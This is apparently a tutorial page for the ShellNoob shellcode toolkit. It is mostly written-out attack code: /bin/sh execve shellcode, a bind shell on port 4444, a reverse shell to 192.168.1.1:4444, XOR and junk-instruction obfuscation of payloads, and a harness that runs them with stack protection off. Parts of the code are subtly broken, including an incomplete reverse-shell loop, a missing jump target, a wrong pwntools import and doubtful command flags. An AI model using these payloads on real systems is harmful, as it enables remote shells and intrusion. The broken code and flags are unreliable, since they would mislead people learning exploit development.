콘텐츠로 이동

ShellNoob

Overview

ShellNoob is a comprehensive shellcode development toolkit designed to simplify the creation of custom shellcode for exploit development. It provides tools for writing, assembling, disassembling, encoding, and testing shellcode across multiple architectures (x86, x64, ARM, MIPS). ShellNoob abstracts away the complexity of assembly-to-bytes conversion and provides utilities for common shellcode patterns.

Key Features

  • Multi-architecture Support: x86, x64, ARM, ARM64, MIPS
  • Assembly to Shellcode: Direct conversion to hex/bytes
  • Disassembly: Analyze binary code
  • Encoding/Decoding: XOR, NOT, and custom encoders
  • Syscall Generation: Helper functions for syscalls
  • Pattern Library: Pre-built shellcode patterns
  • Cross-platform: Linux, macOS, Windows compatible

Installation

Prerequisites

# Python 3.x required
python3 --version

# Package dependencies
pip3 install capstone keystone-engine pwntools

# For full support, install binutils
apt-get install binutils  # Debian/Ubuntu
brew install binutils  # macOS

# Optional: radare2 for additional analysis
apt-get install radare2  # Debian/Ubuntu

Installation Methods

From GitHub

git clone https://github.com/rk700/shellnoob.git
cd shellnoob
chmod +x shellnoob.py
./shellnoob.py --help

# Optional: Add to PATH
sudo ln -s $(pwd)/shellnoob.py /usr/local/bin/shellnoob

PyPI Installation

# If available on PyPI
pip3 install shellnoob

# Or install from GitHub directly
pip3 install git+https://github.com/rk700/shellnoob.git

Docker

# Create Dockerfile
cat > Dockerfile << 'EOF'
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y python3 python3-pip binutils
RUN pip3 install capstone keystone-engine pwntools
RUN git clone https://github.com/rk700/shellnoob.git /shellnoob
WORKDIR /shellnoob
CMD ["/bin/bash"]
EOF

docker build -t shellnoob .
docker run -it --rm -v $(pwd):/work shellnoob

Core Concepts

Shellcode Types

TypePurposeCommon Uses
ExecveExecute programShell spawning, command execution
MmapMemory allocationCustom payloads, code injection
Read/WriteI/O operationsData exfiltration, command output
SocketNetwork operationsReverse shell, bind shell
Syscall WrapperDirect syscallsKernel interaction
Encoder StubsEncoding/decodingPolymorphic payloads

Architecture Support

  • x86: 32-bit Intel/AMD (i386, i486, i586, i686)
  • x64: 64-bit Intel/AMD (amd64, x86_64)
  • ARM: 32-bit ARM (ARMV7, ARMV7L)
  • ARM64: 64-bit ARM (AARCH64)
  • MIPS: 32-bit MIPS (MIPS32, MIPS64)

Basic Usage

Help and Information

# Show help
./shellnoob.py --help

# Show version
./shellnoob.py --version

# List supported architectures
./shellnoob.py --list-archs

# Show syscall reference for architecture
./shellnoob.py --show-syscalls --arch x64

Assembly to Shellcode

Simple Examples

# Convert x86 assembly to shellcode
./shellnoob.py -c "mov eax, 0x1; mov ebx, 0x0; int 0x80" --arch x86

# x64 assembly
./shellnoob.py -c "mov rax, 0x3b; mov rdi, 0x0; syscall" --arch x64

# ARM assembly
./shellnoob.py -c "mov r0, #1; swi 0x900001" --arch arm

# Generate with format output
./shellnoob.py -c "mov eax, 1" --arch x86 --output python

Assembly from File

# Create assembly file
cat > shellcode.asm << 'EOF'
; x86 exit shellcode
mov eax, 0x1      ; exit syscall number
mov ebx, 0x0      ; exit code 0
int 0x80          ; syscall
EOF

# Assemble to shellcode
./shellnoob.py -f shellcode.asm --arch x86 --output hex
./shellnoob.py -f shellcode.asm --arch x86 --output bash
./shellnoob.py -f shellcode.asm --arch x86 --output python

Output Formats

# Hex output (default)
./shellnoob.py -c "mov eax, 1" --arch x86 --output hex

# Python list format
./shellnoob.py -c "mov eax, 1" --arch x86 --output python

# Bash array
./shellnoob.py -c "mov eax, 1" --arch x86 --output bash

# C array
./shellnoob.py -c "mov eax, 1" --arch x86 --output c

# Raw bytes
./shellnoob.py -c "mov eax, 1" --arch x86 --output raw > shellcode.bin

# Intel/AT&T syntax
./shellnoob.py -c "mov eax, 1" --arch x86 --syntax intel
./shellnoob.py -c "mov eax, 1" --arch x86 --syntax att

Shellcode Patterns

x86 Linux Exit

# Exit syscall (no error)
./shellnoob.py -c "
  mov eax, 0x1
  mov ebx, 0x0
  int 0x80
" --arch x86

# Exit with code 1
./shellnoob.py -c "
  mov eax, 0x1
  mov ebx, 0x1
  int 0x80
" --arch x86

x86 Linux Execve

# Execute /bin/sh
./shellnoob.py -c "
  mov eax, 0xb
  mov ebx, 0xbfff1234
  mov ecx, 0x0
  mov edx, 0x0
  int 0x80
" --arch x86

# More complete example with string placement
cat > exec_sh.asm << 'EOF'
section .text
  global _start
_start:
  jmp short string
back:
  pop ebx
  mov eax, 11
  xor ecx, ecx
  xor edx, edx
  int 0x80
string:
  call back
  db "/bin/sh", 0x0
EOF

./shellnoob.py -f exec_sh.asm --arch x86 --output python

x64 Linux Exit

# x64 exit syscall
./shellnoob.py -c "
  mov rax, 0x3c
  mov rdi, 0x0
  syscall
" --arch x64

# Exit with code 1
./shellnoob.py -c "
  mov rax, 0x3c
  mov rdi, 0x1
  syscall
" --arch x64

x64 Linux Execve

# x64 /bin/sh execution
cat > exec_x64.asm << 'EOF'
section .text
  global _start
_start:
  jmp short string
back:
  pop rdi
  xor rsi, rsi
  xor rdx, rdx
  mov rax, 59
  syscall
string:
  call back
  db "/bin/sh", 0x0
EOF

./shellnoob.py -f exec_x64.asm --arch x64 --output python

ARM Linux Execve

# ARM execve /bin/sh
cat > exec_arm.asm << 'EOF'
.section .text
.global _start
_start:
  adr r0, binary
  mov r1, #0
  mov r2, #0
  mov r7, #11
  swi 0
binary:
  .ascii "/bin/sh\0"
EOF

./shellnoob.py -f exec_arm.asm --arch arm --output python

Disassembly

Disassemble Shellcode

# Disassemble hex bytes
./shellnoob.py -d "6a01586a005f6a0000589d0f05" --arch x64

# Disassemble from file
./shellnoob.py -d --file shellcode.bin --arch x86

# Disassemble with detailed output
./shellnoob.py -d "b8010000008d1e31c0cd80" --arch x86 --verbose

# Show Intel syntax
./shellnoob.py -d "6a015b6a005f" --arch x64 --syntax intel

Analysis

# Get size of shellcode
./shellnoob.py -c "mov eax, 1" --arch x86 --size

# Check for bad characters (null bytes)
./shellnoob.py -c "mov eax, 1" --arch x86 --check-nulls

# Analyze entropy
./shellnoob.py --analyze "b8010000008d1e31c0cd80" --arch x86

Encoding and Obfuscation

XOR Encoding

# Generate XOR decoder with key
./shellnoob.py -f shellcode.asm --arch x86 --encoder xor --key 0xAA

# XOR encode existing shellcode
./shellnoob.py -d "shellcode.bin" --arch x86 --encode xor --key 0xBB

# Generate encoded + decoder stub
./shellnoob.py -c "mov eax, 1; int 0x80" --arch x86 \
  --encoder xor --key 0xCC --include-decoder

Custom Encoders

# NOT encoding (bitwise NOT)
./shellnoob.py -c "mov eax, 1" --arch x86 --encoder not

# Multi-pass encoding
./shellnoob.py -c "mov eax, 1" --arch x86 \
  --encoder xor --key 0xFF \
  --encoder xor --key 0xAA \
  --encoder not

# Add junk instructions
./shellnoob.py -f shellcode.asm --arch x86 \
  --add-junk 5 \
  --obfuscate

Syscall Reference

Generate Syscall Numbers

# Show x86 syscall table
./shellnoob.py --show-syscalls --arch x86 | grep -i execve

# Find x64 syscall number
./shellnoob.py --show-syscalls --arch x64 | grep -i "^59"

# Search for specific syscall
./shellnoob.py --find-syscall "write" --arch x86

# Show ARM syscalls
./shellnoob.py --show-syscalls --arch arm | head -20

Common Syscall Numbers

# x86 (32-bit) common syscalls
1   - exit
3   - read
4   - write
11  - execve
33  - access
37  - kill
78  - clone

# x64 (64-bit) common syscalls
0   - read
1   - write
2   - open
3   - close
59  - execve
60  - exit

Pwntools Integration

Using Pwntools with ShellNoob

#!/usr/bin/env python3
from pwntools import *

# Generate x86 shellcode
context.arch = 'i386'
shellcode = asm("mov eax, 1; int 0x80")
print(f"Shellcode: {shellcode.hex()}")

# Generate x64 shellcode
context.arch = 'amd64'
shellcode = asm("mov rax, 0x3c; mov rdi, 0; syscall")
print(f"Shellcode: {shellcode.hex()}")

# Use ShellNoob for complex patterns
# (example using both tools together)
shellcode = asm("""
  xor rax, rax
  push rax
  mov rdi, rsp
  mov rax, 59
  syscall
""")

print(f"Final shellcode: {shellcode.hex()}")

Practical Examples

Bind Shell (x64)

cat > bind_shell_x64.asm << 'EOF'
section .data
  port equ 4444
  
section .text
  global _start
_start:
  ; Create socket
  mov rax, 41
  mov rdi, 2
  mov rsi, 1
  mov rdx, 0
  syscall
  
  mov r9, rax  ; Save socket FD
  
  ; Bind
  mov rax, 49
  mov rdi, r9
  mov rsi, 0x0
  mov rdx, 0x10
  syscall
  
  ; Listen
  mov rax, 50
  mov rdi, r9
  mov rsi, 0x1
  syscall
  
  ; Accept
  mov rax, 43
  mov rdi, r9
  mov rsi, 0x0
  mov rdx, 0x0
  syscall
  
  ; Spawn shell on connection
  mov r10, rax  ; client fd
  mov rsi, r10
  mov rdx, r10
  mov rax, 59
  mov rdi, rsp
  syscall
EOF

./shellnoob.py -f bind_shell_x64.asm --arch x64 --output python

Reverse Shell (x86)

cat > reverse_shell_x86.asm << 'EOF'
section .text
  global _start
_start:
  ; Create socket
  mov eax, 102
  mov ebx, 1
  mov ecx, 1
  int 0x80
  
  mov edi, eax    ; Save socket FD
  
  ; Connect to 192.168.1.1:4444
  mov eax, 102
  mov ebx, 3
  mov ecx, 0x5c110ac0  ; IP:Port encoded
  mov edx, 0x10
  int 0x80
  
  ; Redirect stdin/stdout/stderr
  mov ecx, 3
loop:
  mov eax, 63
  mov ebx, edi
  mov ecx, ecx
  dec ecx
  jne loop
  
  ; Execve /bin/sh
  mov eax, 11
  jmp short get_bin_sh
EOF

./shellnoob.py -f reverse_shell_x86.asm --arch x86 --output python

Testing Shellcode

Compile Test Harness

# Create C harness
cat > test.c << 'EOF'
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

unsigned char shellcode[] = {
  0xb8, 0x01, 0x00, 0x00, 0x00,  // mov eax, 1
  0xbb, 0x00, 0x00, 0x00, 0x00,  // mov ebx, 0
  0xcd, 0x80                       // int 0x80
};

int main(int argc, char *argv[]) {
  printf("[*] Shellcode length: %d bytes\n", strlen((char*)shellcode));
  printf("[*] Testing shellcode execution...\n");
  
  int (*ret)() = (int(*)())shellcode;
  ret();
  
  return 0;
}
EOF

# Compile with NX disabled
gcc -z execstack -o test test.c

# Run test
./test

Using GDB for Testing

# Create GDB script
cat > test.gdb << 'EOF'
break main
run
set follow-fork-mode child
stepi
disassemble
info registers
continue
EOF

gdb -x test.gdb ./test

Advanced Techniques

Null Byte Elimination

# Find null bytes in shellcode
./shellnoob.py -c "mov eax, 0x1" --arch x86 --check-nulls

# Techniques to avoid null bytes
./shellnoob.py -c "
  xor eax, eax
  mov al, 0x1  ; Instead of mov eax, 0x1
  xor ebx, ebx ; Instead of mov ebx, 0
  int 0x80
" --arch x86 --output hex

# Position independent code
./shellnoob.py -f shellcode.asm --arch x86 --pic

Position Independent Shellcode (PIC)

cat > pic_shellcode.asm << 'EOF'
section .text
  global _start
_start:
  call get_rip
get_rip:
  pop rax
  ; Now rax contains current position
  ; Use relative addressing for data references
  lea rdi, [rel bin_sh]
  xor rsi, rsi
  xor rdx, rdx
  mov rax, 59
  syscall
  
  db "/bin/sh", 0x0
EOF

./shellnoob.py -f pic_shellcode.asm --arch x64 --pic --output python

Troubleshooting

Assembly Errors

# Check syntax validity
./shellnoob.py -c "mov eax, 1" --arch x86 --syntax-check

# Get detailed error messages
./shellnoob.py -f shellcode.asm --arch x86 --verbose

# Validate assembly before conversion
./shellnoob.py -f shellcode.asm --arch x86 --validate

Size Issues

# Get exact size of shellcode
./shellnoob.py -c "mov eax, 1; int 0x80" --arch x86 --size

# Optimize for size
./shellnoob.py -f shellcode.asm --arch x86 --optimize-size

# Check if shellcode fits constraint
./shellnoob.py -c "mov eax, 1" --arch x86 --max-size 32

Quick Reference Commands

TaskCommand
Assembly to hex./shellnoob.py -c "mov eax, 1" --arch x86 --output hex
Disassemble./shellnoob.py -d "b8010000008d1e31c0cd80" --arch x86
Show syscalls./shellnoob.py --show-syscalls --arch x64
XOR encode./shellnoob.py -f code.asm --encoder xor --key 0xAA
Test file./shellnoob.py -f code.asm --arch x86 --test
Check nulls./shellnoob.py -c "..." --check-nulls
PIC shellcode./shellnoob.py -f code.asm --pic

Architecture-Specific Notes

x86 vs x64 Differences

# x86: register names (eax, ebx, ecx, edx, esi, edi, ebp, esp)
./shellnoob.py -c "mov eax, 1; mov ebx, 0; int 0x80" --arch x86

# x64: register names (rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp, r8-r15)
./shellnoob.py -c "mov rax, 1; mov rdi, 0; syscall" --arch x64

# x64 uses 'syscall' instead of 'int 0x80'
# x64 first 6 args: rdi, rsi, rdx, rcx, r8, r9
# x86 first args: ebx, ecx, edx, esi, edi, ebp

Resources